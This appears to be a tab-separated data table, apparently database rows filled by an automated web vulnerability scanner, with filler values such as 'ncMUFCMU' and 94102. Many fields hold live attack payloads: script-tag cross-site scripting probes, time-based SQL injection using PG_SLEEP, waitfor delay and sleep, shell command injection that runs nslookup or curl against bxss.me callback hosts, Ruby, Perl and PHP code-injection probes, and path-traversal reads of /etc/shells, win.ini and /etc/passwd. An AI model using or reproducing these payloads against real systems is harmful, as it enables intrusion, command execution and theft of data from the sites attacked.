1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >V1xQ(9458)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891 from DUAL)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	@@bFB1I	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102����%2527%2522\'\"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941022RtUdUEr') OR 647=(SELECT 647 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941027XU91Y0R' OR 735=(SELECT 735 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 OR 930=(SELECT 930 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102csZp8VFw'; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1); waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"941020""XOR(94102*if(now()=sysdate(),sleep(15),0))XOR""Z"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102J8sOdlyi	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(116).concat(76).concat(103).concat(90)+(require""socket""
Socket.gethostbyname(""hitss""+""mlxqthsa07e08.bxss.me."")[3].to_s)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'A'.concat(70-3).concat(22*4).concat(99).concat(86).concat(100).concat(77)+(require'socket'
Socket.gethostbyname('hitgv'+'yfmntyjh47cf5.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	!(()&&!|*|*|	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitfrtgsqgwyn10075.bxss.me||curl${IFS}hitfrtgsqgwyn10075.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfrtgsqgwyn10075.bxss.me||curl${IFS}hitfrtgsqgwyn10075.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitqzfhntobgveb29a.bxss.me||curl${IFS}hitqzfhntobgveb29a.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&nslookup -q=cname hitxfylssdqnwf5639.bxss.me&'\""`0&nslookup -q=cname hitxfylssdqnwf5639.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(121).concat(88).concat(100).concat(65)+(require'socket'
Socket.gethostbyname('hitjt'+'kwlulshf2e085.bxss.me.')[3].to_s)"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(101).concat(83).concat(113).concat(68)+(require'socket'
Socket.gethostbyname('hitls'+'fiigdnqa84d4f.bxss.me.')[3].to_s)+'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(115).concat(85).concat(121).concat(77)+(require""socket""
Socket.gethostbyname(""hitic""+""lrdpjucv71211.bxss.me."")[3].to_s)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"|echo jfeteo$()\ hjdbcv\nz^xyu||a #' |echo jfeteo$()\ hjdbcv\nz^xyu||a #|"" |echo jfeteo$()\ hjdbcv\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(113).concat(80).concat(101).concat(85)+(require'socket'
Socket.gethostbyname('hitwq'+'vjgsebyi3f238.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hituaiqewzfdm89e9e.bxss.me||curl${IFS}hituaiqewzfdm89e9e.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hituaiqewzfdm89e9e.bxss.me||curl${IFS}hituaiqewzfdm89e9e.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)|(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)&(nslookup -q=cname hitgcubvexpqj986d1.bxss.me||curl hitgcubvexpqj986d1.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1&n995257=v907432	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941029707870	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	`(nslookup -q=cname hitjeuqiuyusj0f170.bxss.me||curl hitjeuqiuyusj0f170.bxss.me)`	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'+'A'.concat(70-3).concat(22*4).concat(119).concat(87).concat(104).concat(82)+(require'socket'
Socket.gethostbyname('hitmn'+'phlojeum03b08.bxss.me.')[3].to_s)+'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&nslookup -q=cname hitchyydcpztt6f742.bxss.me&'\""`0&nslookup -q=cname hitchyydcpztt6f742.bxss.me&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU&n921769=v934971	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+""A"".concat(70-3).concat(22*4).concat(117).concat(74).concat(115).concat(70)+(require""socket""
Socket.gethostbyname(""hitcq""+""gfiiflpm22b57.bxss.me."")[3].to_s)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	$(nslookup -q=cname hitbihjushrat1be5c.bxss.me||curl hitbihjushrat1be5c.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	expr 9000399931 - 930255	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"|echo kmpfgb$()\ ayxomu\nz^xyu||a #' |echo kmpfgb$()\ ayxomu\nz^xyu||a #|"" |echo kmpfgb$()\ ayxomu\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102&n940137=v991580	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitoooydcpcbh322d0.bxss.me||curl${IFS}hitoooydcpcbh322d0.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoooydcpcbh322d0.bxss.me||curl${IFS}hitoooydcpcbh322d0.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bXNlekpVMTI=	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'""()&%<zzz><ScRiPt >V1xQ(9451)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup -q=cname hitbxeczfffqwb1ebb.bxss.me||curl hitbxeczfffqwb1ebb.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&(nslookup -q=cname hitqsyxkmofvl48925.bxss.me||curl hitqsyxkmofvl48925.bxss.me)&'\""`0&(nslookup -q=cname hitqsyxkmofvl48925.bxss.me||curl hitqsyxkmofvl48925.bxss.me)&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&nslookup -q=cname hitufuvctaxun4d7bb.bxss.me&'\""`0&nslookup -q=cname hitufuvctaxun4d7bb.bxss.me&`'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"echo lzlrfk$()\ vlcckg\nz^xyu||a #' &echo lzlrfk$()\ vlcckg\nz^xyu||a #|"" &echo lzlrfk$()\ vlcckg\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	bxss.me/t/xss.html?%00	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me/t/xss.html?%00	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	19884460	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""anvWYEvw""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.print(md5(31337)).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitkgwwnobpuk2cd1b.bxss.me||curl${IFS}hitkgwwnobpuk2cd1b.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	`(nslookup -q=cname hitjcbgzrztre78ca5.bxss.me||curl hitjcbgzrztre78ca5.bxss.me)`	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup -q=cname hitfhrcfytkzccbf6b.bxss.me||curl hitfhrcfytkzccbf6b.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup -q=cname hitcfqsgnnewecc7be.bxss.me||curl hitcfqsgnnewecc7be.bxss.me)&'\""`0&(nslookup -q=cname hitcfqsgnnewecc7be.bxss.me||curl hitcfqsgnnewecc7be.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""";print(md5(31337));$a="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	c:/windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	/etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	HttP://bxss.me/t/xss.html?%00	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	gethostbyname(lc('hitdi'.'ckrxtgpm3691c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(116).chr(69)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.print(md5(31337)).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""".gethostbyname(lc(""hitnn"".""aveilwej42bcb.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(101).chr(67).chr(121).chr(81)."""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}\	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.gethostbyname(lc('hitjb'.'xzmrvosl004e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(76).chr(97).chr(79).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	gethostbyname(lc('hitqk'.'jrbnxtuyf094c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(70).chr(97).chr(72)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""".gethostbyname(lc(""hitsf"".""okvvxlyhea221.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(97).chr(73).chr(110).chr(66)."""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	;(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)|(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)&(nslookup -q=cname hiteuoxjihhuy7df9a.bxss.me||curl hiteuoxjihhuy7df9a.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(nslookup -q=cname hitkzaimfnrxnb5ae9.bxss.me||curl hitkzaimfnrxnb5ae9.bxss.me))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&echo pazedb$()\ tqptrb\nz^xyu||a #' &echo pazedb$()\ tqptrb\nz^xyu||a #|"" &echo pazedb$()\ tqptrb\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"echo radzfs$()\ xyfnmy\nz^xyu||a #' &echo radzfs$()\ xyfnmy\nz^xyu||a #|"" &echo radzfs$()\ xyfnmy\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup${IFS}-q${IFS}cname${IFS}hitalwmolqnfvde817.bxss.me||curl${IFS}hitalwmolqnfvde817.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)|(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)&(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	VVdCb25TOXY=	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	`(nslookup -q=cname hitoroewvptac5833b.bxss.me||curl hitoroewvptac5833b.bxss.me)`	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	UlNjdE1vNm4=	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"|echo fsjhsp$()\ lpcxek\nz^xyu||a #' |echo fsjhsp$()\ lpcxek\nz^xyu||a #|"" |echo fsjhsp$()\ lpcxek\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;(nslookup -q=cname hitbuanxgwvwg839ad.bxss.me||curl hitbuanxgwvwg839ad.bxss.me)|(nslookup -q=cname hitbuanxgwvwg839ad.bxss.me||curl hitbuanxgwvwg839ad.bxss.me)&(nslookup -q=cname hitbuanxgwvwg839ad.bxss.me||curl hitbuanxgwvwg839ad.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitim'.'nxpvyuyg770b9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(85).chr(102).chr(80).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	file:///etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
